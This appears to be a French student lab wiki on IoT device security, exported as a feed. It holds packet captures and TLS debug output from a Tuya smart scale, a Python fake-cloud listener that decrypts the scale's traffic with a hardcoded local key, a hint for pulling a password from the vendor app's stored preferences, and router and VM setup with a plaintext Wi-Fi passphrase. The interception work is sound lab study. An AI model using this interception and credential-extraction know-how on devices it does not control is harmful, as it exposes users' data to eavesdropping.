..	plil.info................&lt;br /&gt;
12:36:48.663352 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4.L.......p..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.674677 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i&amp;gt;#tB./..P.........&lt;br /&gt;
12:36:48.993649 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
ir...P.............&lt;br /&gt;
12:36:49.311055 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:49.490922 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i.......x....D.....&lt;br /&gt;
12:36:49.492262 ARP, Reply 172.16.10.105 is-at a4:e5:7c:16:2d:4c (oui Unknown), length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i..&amp;gt;#tB..&lt;br /&gt;
...................&lt;br /&gt;
12:36:49.515651 IP 172.16.10.105.29415 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6536, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O...&lt;br /&gt;
i..&lt;br /&gt;
.r.&amp;quot;.........`...kZ........&lt;br /&gt;
12:36:49.515669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.29415: Flags [R.], seq 0, ack 6537, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.r.........P.......&lt;br /&gt;
12:36:49.518628 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [S], seq 6539, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]..........`.............&lt;br /&gt;
12:36:49.518648 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [S.], seq 1378912894, ack 6540, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0.~....`...l.......&lt;br /&gt;
12:36:49.523505 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O0..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P........a3.tu&lt;br /&gt;
12:36:49.527055 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P...G?......&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:49.527081 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..X..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.527462 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@..P..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l.........(&lt;br /&gt;
12:36:49.527530 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..V..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.569636 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(......O...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........C.@&lt;br /&gt;
12:36:49.574893 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........&lt;br /&gt;
..&lt;br /&gt;
12:36:50.310055 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i........ ....&amp;gt;....&lt;br /&gt;
12:36:53.526624 IP 172.16.10.105.48314 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6547, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;amp;..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...!|........&lt;br /&gt;
12:36:53.526669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.48314: Flags [R.], seq 0, ack 6548, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...JA..&lt;br /&gt;
12:36:54.536817 IP 172.16.10.105.44185 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6567, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O%..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...1.........&lt;br /&gt;
12:36:54.536835 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.44185: Flags [R.], seq 0, ack 6568, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...ZN..&lt;br /&gt;
12:36:55.545631 IP 172.16.10.105.26626 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6589, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O$..&lt;br /&gt;
i..&lt;br /&gt;
.h.&amp;quot;.........`...v&lt;br /&gt;
........&lt;br /&gt;
12:36:55.545649 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.26626: Flags [R.], seq 0, ack 6590, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.h.........P.......&lt;br /&gt;
12:36:56.554680 IP 172.16.10.105.16244 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6611, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O#..&lt;br /&gt;
i..&lt;br /&gt;
.?t&amp;quot;.........`.............&lt;br /&gt;
12:36:56.554698 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.16244: Flags [R.], seq 0, ack 6612, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.?t........P....G..&lt;br /&gt;
^C&lt;br /&gt;
57 packets captured&lt;br /&gt;
57 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;port 8886 chez tuya ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 00 00 00 00   d6aG91IFR1eV....&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 00   ...:..BAohBAohb.&lt;br /&gt;
0010 - 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 00 00 00 00-00 00 00 00 00 00 00 00   d6aG............&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;trouver un mdp dans l'appli nedis /data/data/com.nedis.smartlife/shared_prefs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
decouverte de tinytuya : https://github.com/jasonacox/tinytuya&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import tinytuya&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
LOCAL_KEY = '674d29fb978a1705' &lt;br /&gt;
&lt;br /&gt;
IP_BALANCE = '172.16.10.105'&lt;br /&gt;
&lt;br /&gt;
print(f&amp;quot;[*] Démarrage du Faux Cloud Tuya...&amp;quot;)&lt;br /&gt;
print(f&amp;quot;[*] Clé utilisée : {LOCAL_KEY}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
server_socket.bind(('0.0.0.0', 8886))&lt;br /&gt;
server_socket.listen(1)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[*] En attente de la balance sur le port 8886...&amp;quot;)&lt;br /&gt;
print(&amp;quot;[*] Monte sur la balance maintenant !&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
while True:&lt;br /&gt;
    try:&lt;br /&gt;
        client, addr = server_socket.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion reçue de {addr[0]} !&amp;quot;)&lt;br /&gt;
        &lt;br /&gt;
        data = client.recv(4096)&lt;br /&gt;
        &lt;br /&gt;
        if data:&lt;br /&gt;
            print(f&amp;quot;[i] {len(data)} octets reçus (chiffrés). Tentative de décodage...&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                d = tinytuya.OutletDevice('DUMMY_ID', IP_BALANCE, LOCAL_KEY)&lt;br /&gt;
                d.set_version(3.3) # Version standard WiFi&lt;br /&gt;
                &lt;br /&gt;
                decrypted = d._decode_payload(data)&lt;br /&gt;
                &lt;br /&gt;
                if decrypted:&lt;br /&gt;
                    print(&amp;quot;\n&amp;quot; + &amp;quot;=&amp;quot;*40)&lt;br /&gt;
                    print(&amp;quot;donnés :&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;=&amp;quot;*40)&lt;br /&gt;
                    parsed = json.loads(decrypted)&lt;br /&gt;
                    print(json.dumps(parsed, indent=4))&lt;br /&gt;
                    &lt;br /&gt;
                    if 'dps' in parsed:&lt;br /&gt;
                        print(&amp;quot;\nVALEURS :&amp;quot;)&lt;br /&gt;
                        for k, v in parsed['dps'].items():&lt;br /&gt;
                            print(f&amp;quot;- Data Point {k} : {v}&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;=&amp;quot;*40)&lt;br /&gt;
                else:&lt;br /&gt;
                    print(&amp;quot;[-] Échec du décryptage (Format inconnu ou clé incorrecte pour ce paquet)&amp;quot;)&lt;br /&gt;
                    &lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;[-] Erreur de décodage : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        client.close()&lt;br /&gt;
        &lt;br /&gt;
    except KeyboardInterrupt:&lt;br /&gt;
        print(&amp;quot;\nArrêt.&amp;quot;)&lt;br /&gt;
        break&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;Erreur serveur : {e}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10915</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10915"/>
		<updated>2025-12-04T15:02:11Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Interception de flux (30/09) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
